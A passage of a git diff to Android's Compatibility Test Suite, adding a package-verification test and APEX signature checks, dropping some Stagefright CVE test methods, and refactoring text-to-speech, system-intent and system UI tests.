+ InstrumentationRegistry
+ .getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES,
+ Manifest.permission.DELETE_PACKAGES,
+ Manifest.permission.PACKAGE_VERIFICATION_AGENT,
+ Manifest.permission.BIND_PACKAGE_VERIFIER);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ Uninstall.packages(TestApp.A);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ @Test
+ public void verificationCanNotBeDisabledByInstaller() throws Exception {
+ Install.single(TEST_APP).addInstallFlags(
+ 0x00080000 /* PackageManager.INSTALL_DISABLE_VERIFICATION */).commit();
+ String packageName = PackageVerificationsBroadcastReceiver.packages.poll(30,
+ TimeUnit.SECONDS);
+ Assert.assertNotNull("Did not receive broadcast", packageName);
+ Assert.assertEquals(TEST_APP_NAME, packageName);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index ee383b2..283910b 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,9 +52,11 @@
PackageManager packageManager = mContext.getPackageManager();
List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
PackageManager.GET_UNINSTALLED_PACKAGES |
- PackageManager.GET_SIGNATURES);
+ PackageManager.GET_SIGNATURES |
+ PackageManager.MATCH_APEX);
for (PackageInfo packageInfo : allPackageInfos) {
String packageName = packageInfo.packageName;
+ Log.v(TAG, "Scanning " + packageName);
if (packageName != null && !isWhitelistedPackage(packageName)) {
for (Signature signature : packageInfo.signatures) {
if (wellKnownSignatures.contains(signature)) {
@@ -80,6 +82,20 @@
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
return wellKnownSignatures;
}
diff --git a/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java b/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java
new file mode 100644
index 0000000..62d409d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PackageVerificationsBroadcastReceiver.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.content.pm.PackageManager.EXTRA_VERIFICATION_PACKAGE_NAME;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+public final class PackageVerificationsBroadcastReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "PackageInstallerTest";
+
+ static final BlockingQueue<String> packages = new LinkedBlockingQueue<>();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final String packageName = intent.getStringExtra(EXTRA_VERIFICATION_PACKAGE_NAME);
+ Log.i(TAG, "Received PACKAGE_NEEDS_VERIFICATION broadcast for package " + packageName);
+ try {
+ packages.put(packageName);
+ } catch (InterruptedException e) {
+ throw new AssertionError(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 4d207e5..d199ddf 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1114,21 +1114,6 @@
doStagefrightTest(R.raw.cve_2019_2327);
}
- @SecurityTest(minPatchLevel = "2019-07")
- public void testStagefright_cve_2019_2322() throws Exception {
- doStagefrightTest(R.raw.cve_2019_2322);
- }
-
- @SecurityTest(minPatchLevel = "2019-07")
- public void testStagefright_cve_2019_2334() throws Exception {
- doStagefrightTest(R.raw.cve_2019_2334);
- }
-
- public void testStagefright_cve_2017_13204() throws Exception {
- int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
- doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
- }
-
@SecurityTest(minPatchLevel = "2018-03")
public void testStagefright_cve_2017_17773() throws Exception {
doStagefrightTest(R.raw.cve_2017_17773);
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
new file mode 100644
index 0000000..7c35c11
--- /dev/null
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.packageinstallertestapp"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+
+ <package-verifier android:name="android.security.cts"
+ android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB" />
+
+ <uses-sdk android:minSdkVersion="19" />
+
+ <application android:label="PackageInstallerTest Test App">
+ <activity android:name="android.security.cts.packageinstallertestapp.MainActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java
new file mode 100644
index 0000000..aeb58c5
--- /dev/null
+++ b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/MainActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.packageinstallertestapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class MainActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ }
+}
+
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index bc25d6c..d3b8083 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -18,6 +18,7 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"vts",
"general-tests",
],
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index 8bca08c..addd14e 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,8 +15,10 @@
*/
package android.speech.tts.cts;
+import android.os.Bundle;
import android.os.ConditionVariable;
import android.os.Environment;
+import android.os.ParcelFileDescriptor;
import android.speech.tts.TextToSpeech;
import android.test.AndroidTestCase;
@@ -61,28 +63,54 @@
int result =
getTts().synthesizeToFile(
UTTERANCE, createParams("mocktofile"), sampleFile.getPath());
- assertEquals("synthesizeToFile() failed", TextToSpeech.SUCCESS, result);
-
- assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("mocktofile"));
- assertTrue("synthesizeToFile() didn't produce a file", sampleFile.exists());
- assertTrue("synthesizeToFile() produced a non-sound file",
- TextToSpeechWrapper.isSoundFile(sampleFile.getPath()));
+ verifySynthesisFile(result, mTts, sampleFile);
} finally {
sampleFile.delete();
}
- mTts.verify("mocktofile");
+ verifySynthesisResults(mTts);
+ }
- final Map<String, Integer> chunksReceived = mTts.chunksReceived();
- final Map<String, List<Integer>> timePointsStart = mTts.timePointsStart();
- final Map<String, List<Integer>> timePointsEnd = mTts.timePointsEnd();
- final Map<String, List<Integer>> timePointsFrame = mTts.timePointsFrame();
- assertEquals(Integer.valueOf(10), chunksReceived.get("mocktofile"));
- // In the mock we set the start, end and frame to exactly these values for the time points.
- for (int i = 0; i < 10; i++) {
- assertEquals(Integer.valueOf(i * 5), timePointsStart.get("mocktofile").get(i));
- assertEquals(Integer.valueOf(i * 5 + 5), timePointsEnd.get("mocktofile").get(i));
- assertEquals(Integer.valueOf(i * 10), timePointsFrame.get("mocktofile").get(i));
+ public void testSynthesizeToFileWithFileObject() throws Exception {
+ File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+ try {
+ assertFalse(sampleFile.exists());
+
+ Bundle params = createParamsBundle("mocktofile");
+
+ int result =
+ getTts().synthesizeToFile(
+ UTTERANCE,
+ params,
+ sampleFile,
+ params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+ verifySynthesisFile(result, mTts, sampleFile);
+ } finally {
+ sampleFile.delete();
}
+ verifySynthesisResults(mTts);
+ }
+
+ public void testSynthesizeToFileWithFileDescriptor() throws Exception {
+ File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+ try {
+ assertFalse(sampleFile.exists());
+
+ ParcelFileDescriptor fileDescriptor = ParcelFileDescriptor.open(sampleFile,
+ ParcelFileDescriptor.MODE_WRITE_ONLY
+ | ParcelFileDescriptor.MODE_CREATE
+ | ParcelFileDescriptor.MODE_TRUNCATE);
+
+ Bundle params = createParamsBundle("mocktofile");
+
+ int result =
+ getTts().synthesizeToFile(
+ UTTERANCE, params, fileDescriptor,
+ params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+ verifySynthesisFile(result, mTts, sampleFile);
+ } finally {
+ sampleFile.delete();
+ }
+ verifySynthesisResults(mTts);
}
public void testMaxSpeechInputLength() {
@@ -184,6 +212,39 @@
return params;
}
+ private Bundle createParamsBundle(String utteranceId) {
+ Bundle bundle = new Bundle();
+ bundle.putString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID, utteranceId);
+ return bundle;
+ }
+
+ private void verifySynthesisFile(int result, TextToSpeechWrapper mTts, File file)
+ throws InterruptedException {
+
+ assertEquals("synthesizeToFile() failed", TextToSpeech.SUCCESS, result);
+
+ assertTrue("synthesizeToFile() completion timeout", mTts.waitForComplete("mocktofile"));
+ assertTrue("synthesizeToFile() didn't produce a file", file.exists());
+ assertTrue("synthesizeToFile() produced a non-sound file",
+ TextToSpeechWrapper.isSoundFile(file.getPath()));
+ }
+
+ private void verifySynthesisResults(TextToSpeechWrapper mTts) {
+ mTts.verify("mocktofile");
+
+ final Map<String, Integer> chunksReceived = mTts.chunksReceived();
+ final Map<String, List<Integer>> timePointsStart = mTts.timePointsStart();
+ final Map<String, List<Integer>> timePointsEnd = mTts.timePointsEnd();
+ final Map<String, List<Integer>> timePointsFrame = mTts.timePointsFrame();
+ assertEquals(Integer.valueOf(10), chunksReceived.get("mocktofile"));
+ // In the mock we set the start, end and frame to exactly these values for the time points.
+ for (int i = 0; i < 10; i++) {
+ assertEquals(Integer.valueOf(i * 5), timePointsStart.get("mocktofile").get(i));
+ assertEquals(Integer.valueOf(i * 5 + 5), timePointsEnd.get("mocktofile").get(i));
+ assertEquals(Integer.valueOf(i * 10), timePointsFrame.get("mocktofile").get(i));
+ }
+ }
+
private boolean waitForUtterance(String utteranceId) throws InterruptedException {
return mTts.waitForComplete(utteranceId);
}
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4302325..5c8605d 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Instant apps can't have a sync adapter. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Disable keyguard -->
diff --git a/tests/tests/syncmanager/OWNERS b/tests/tests/syncmanager/OWNERS
new file mode 100644
index 0000000..c475c6e
--- /dev/null
+++ b/tests/tests/syncmanager/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 197138
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/systemintents/Android.bp b/tests/tests/systemintents/Android.bp
index 37c4c24..c9aaf72 100644
--- a/tests/tests/systemintents/Android.bp
+++ b/tests/tests/systemintents/Android.bp
@@ -25,6 +25,8 @@
static_libs: [
"ctstestrunner-axt",
"androidx.test.rules",
+ "compatibility-device-util-axt",
+ "testng",
],
sdk_version: "test_current",
}
diff --git a/tests/tests/systemintents/AndroidManifest.xml b/tests/tests/systemintents/AndroidManifest.xml
index 15d9ef6..331b47c 100644
--- a/tests/tests/systemintents/AndroidManifest.xml
+++ b/tests/tests/systemintents/AndroidManifest.xml
@@ -19,6 +19,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.systemintents.cts">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/tests/tests/systemintents/AndroidTest.xml b/tests/tests/systemintents/AndroidTest.xml
index 2832bed..1541b09 100644
--- a/tests/tests/systemintents/AndroidTest.xml
+++ b/tests/tests/systemintents/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/systemintents/OWNERS b/tests/tests/systemintents/OWNERS
new file mode 100644
index 0000000..b465964
--- /dev/null
+++ b/tests/tests/systemintents/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 25692
+ctate@google.com
\ No newline at end of file
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestManageOverlayPermissionIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestManageOverlayPermissionIntents.java
new file mode 100644
index 0000000..6ba796c
--- /dev/null
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestManageOverlayPermissionIntents.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemintents.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.testng.Assert.assertTrue;
+import static org.testng.Assert.expectThrows;
+
+import android.app.Instrumentation;
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TestManageOverlayPermissionIntents {
+ private static final String PERMISSION_INTERNAL_SYSTEM_WINDOW =
+ "android.permission.INTERNAL_SYSTEM_WINDOW";
+
+ private Context mContext;
+ private PackageManager mPackageManager;
+ private UiDevice mUiDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = instrumentation.getContext();
+ mPackageManager = mContext.getPackageManager();
+ mUiDevice = UiDevice.getInstance(instrumentation);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mUiDevice.pressHome();
+ }
+
+ @Test
+ public void testStartManageAppOverlayPermissionIntent_whenCallerHasPermission_succeedsOrThrowsActivityNotFound() {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_APP_OVERLAY_PERMISSION);
+ intent.setData(Uri.fromParts("package", mContext.getPackageName(), null));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ assertEquals("Shell must have INTERNAL_SYSTEM_WINDOW permission to run test",
+ PackageManager.PERMISSION_GRANTED,
+ mContext.checkSelfPermission(PERMISSION_INTERNAL_SYSTEM_WINDOW));
+
+ try {
+ mContext.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // Fall through - it's allowed to not handle the intent
+ }
+ });
+
+ // ActivityNotFoundException or no exception thrown
+ }
+
+ @Test
+ public void testStartManageAppOverlayPermissionIntent_whenCallerDoesNotHavePermission_throwsSecurityExceptionOrActivityNotFound() {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_APP_OVERLAY_PERMISSION);
+ intent.setData(Uri.fromParts("package", mContext.getPackageName(), null));
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ RuntimeException e = expectThrows(RuntimeException.class,
+ () -> mContext.startActivity(intent));
+
+ assertTrue(e instanceof ActivityNotFoundException || e instanceof SecurityException);
+ }
+
+
+ @Test
+ public void testManageOverlayPermissionIntentWithDataResolvesToSameIntentWithoutData() {
+ Intent genericIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ Intent appSpecificIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ appSpecificIntent.setData(Uri.fromParts("package", mContext.getPackageName(), null));
+
+ ResolveInfo genericResolveInfo = mPackageManager.resolveActivity(genericIntent, 0);
+ ResolveInfo appSpecificResolveInfo = mPackageManager.resolveActivity(appSpecificIntent, 0);
+
+ String errorMessage =
+ "ACTION_MANAGE_OVERLAY_PERMISSION intent with data and without data should "
+ + "resolve to the same activity";
+ if (genericResolveInfo == null) {
+ assertNull(errorMessage, appSpecificResolveInfo);
+ return;
+ }
+ assertNotNull(errorMessage, appSpecificResolveInfo);
+ ActivityInfo genericActivity = genericResolveInfo.activityInfo;
+ ActivityInfo appActivity = appSpecificResolveInfo.activityInfo;
+ assertEquals(errorMessage, genericActivity.packageName, appActivity.packageName);
+ assertEquals(errorMessage, genericActivity.name, appActivity.name);
+ }
+}
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index f6911b3..9f2fbb8 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertTrue;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
@@ -25,16 +26,34 @@
import android.net.Uri;
import android.provider.Settings;
-import androidx.test.InstrumentationRegistry;
import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@MediumTest
@RunWith(AndroidJUnit4.class)
public class TestSystemIntents {
+ private static final int EXCLUDE_TV = 1 << 0;
+ private static final int EXCLUDE_WATCH = 1 << 1;
+ private static final int EXCLUDE_NON_TELEPHONY = 1 << 2;
+ private static final int EXCLUDE_NON_INSTALLABLE_IME = 1 << 3;
+
+ private static class IntentEntry {
+ public int flags;
+ public Intent intent;
+
+ public IntentEntry(int f, Intent i) {
+ flags = f;
+ intent = i;
+ }
+ }
+
+ private Context mContext;
+ private PackageManager mPackageManager;
/*
* List of activity intents defined by the system. Activities to handle each of these
@@ -46,22 +65,6 @@
* The flags associated with each intent indicate kinds of device on which the given
* UI intent is *not* applicable.
*/
-
- private static final int EXCLUDE_TV = 1 << 0;
- private static final int EXCLUDE_WATCH = 1 << 1;
- private static final int EXCLUDE_NON_TELEPHONY = 1 << 2;
- private static final int EXCLUDE_NON_INSTALLABLE_IME = 1 << 3;
-
- class IntentEntry {
- public int flags;
- public Intent intent;
-
- public IntentEntry(int f, Intent i) {
- flags = f;
- intent = i;
- }
- }
-
private final IntentEntry[] mTestIntents = {
/* Settings-namespace intent actions */
new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
@@ -81,31 +84,37 @@
new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS))
};
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mPackageManager = mContext.getPackageManager();
+ }
+
@Test
public void testSystemIntents() {
- final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
int productFlags = 0;
- if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
productFlags |= EXCLUDE_TV;
}
- if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
productFlags |= EXCLUDE_NON_TELEPHONY;
}
- if (!pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
productFlags |= EXCLUDE_NON_INSTALLABLE_IME;
}
- final Configuration config = InstrumentationRegistry.getContext().getResources().getConfiguration();
+ final Configuration config = mContext.getResources().getConfiguration();
if ((config.uiMode & Configuration.UI_MODE_TYPE_WATCH) != 0) {
productFlags |= EXCLUDE_WATCH;
}
for (IntentEntry e : mTestIntents) {
if ((productFlags & e.flags) == 0) {
- final ResolveInfo ri = pm.resolveActivity(e.intent, PackageManager.MATCH_DEFAULT_ONLY);
+ final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
+ PackageManager.MATCH_DEFAULT_ONLY);
assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
}
}
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index d6c0184..927905a 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="sysui" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index 137c003..dc414ef 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -59,6 +59,13 @@
*/
private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
+ /**
+ * It's possible for the device to have color sampling enabled in the nav bar -- in that
+ * case we need to pick a background color that would result in the same dark icon tint
+ * that matches the default visibility flags used when color sampling is not enabled.
+ */
+ private static final int LIGHT_BG_COLOR = Color.rgb(255, 128, 128);
+
private final String NOTIFICATION_TAG = "TEST_TAG";
private final String NOTIFICATION_CHANNEL_ID = "test_channel";
private final String NOTIFICATION_GROUP_KEY = "test_group";
@@ -92,11 +99,11 @@
mNm.notify(NOTIFICATION_TAG, i, noti1.build());
}
- requestLightBars(Color.RED /* background */);
+ requestLightBars(LIGHT_BG_COLOR);
Thread.sleep(WAIT_TIME);
Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
- Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, 0);
+ Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, 0);
assertLightStats(bitmap, s);
mNm.cancelAll();
@@ -107,7 +114,7 @@
public void testLightNavigationBar() throws Throwable {
assumeHasColoredNavigationBar(mActivityRule);
- requestLightBars(Color.RED /* background */);
+ requestLightBars(LIGHT_BG_COLOR);
Thread.sleep(WAIT_TIME);
// Inject a cancelled interaction with the nav bar to ensure it is at full opacity.
@@ -118,7 +125,7 @@
LightBarActivity activity = mActivityRule.getActivity();
Bitmap bitmap = takeNavigationBarScreenshot(activity);
- Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */, activity.getBottom());
+ Stats s = evaluateLightBarBitmap(bitmap, LIGHT_BG_COLOR, activity.getBottom());
assertLightStats(bitmap, s);
}
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 93fc4d9..1a84f34 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -16,8 +16,8 @@
package android.systemui.cts;
-import static android.provider.DeviceConfig.NAMESPACE_WINDOW_MANAGER;
-import static android.provider.DeviceConfig.WindowManager.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
+import static android.provider.DeviceConfig.NAMESPACE_ANDROID;
+import static android.provider.AndroidDeviceConfig.KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP;
import static android.view.View.SYSTEM_UI_CLEARABLE_FLAGS;
import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
@@ -839,10 +839,10 @@
private static int getPropertyOfMaxExclusionHeight() {
final int[] originalLimitDp = new int[1];
SystemUtil.runWithShellPermissionIdentity(() -> {
- originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_WINDOW_MANAGER,
+ originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_ANDROID,
KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP, -1);
DeviceConfig.setProperty(
- NAMESPACE_WINDOW_MANAGER,
+ NAMESPACE_ANDROID,
KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
});
@@ -864,7 +864,7 @@
} finally {
// Restore the value
SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
- NAMESPACE_WINDOW_MANAGER,
+ NAMESPACE_ANDROID,
KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
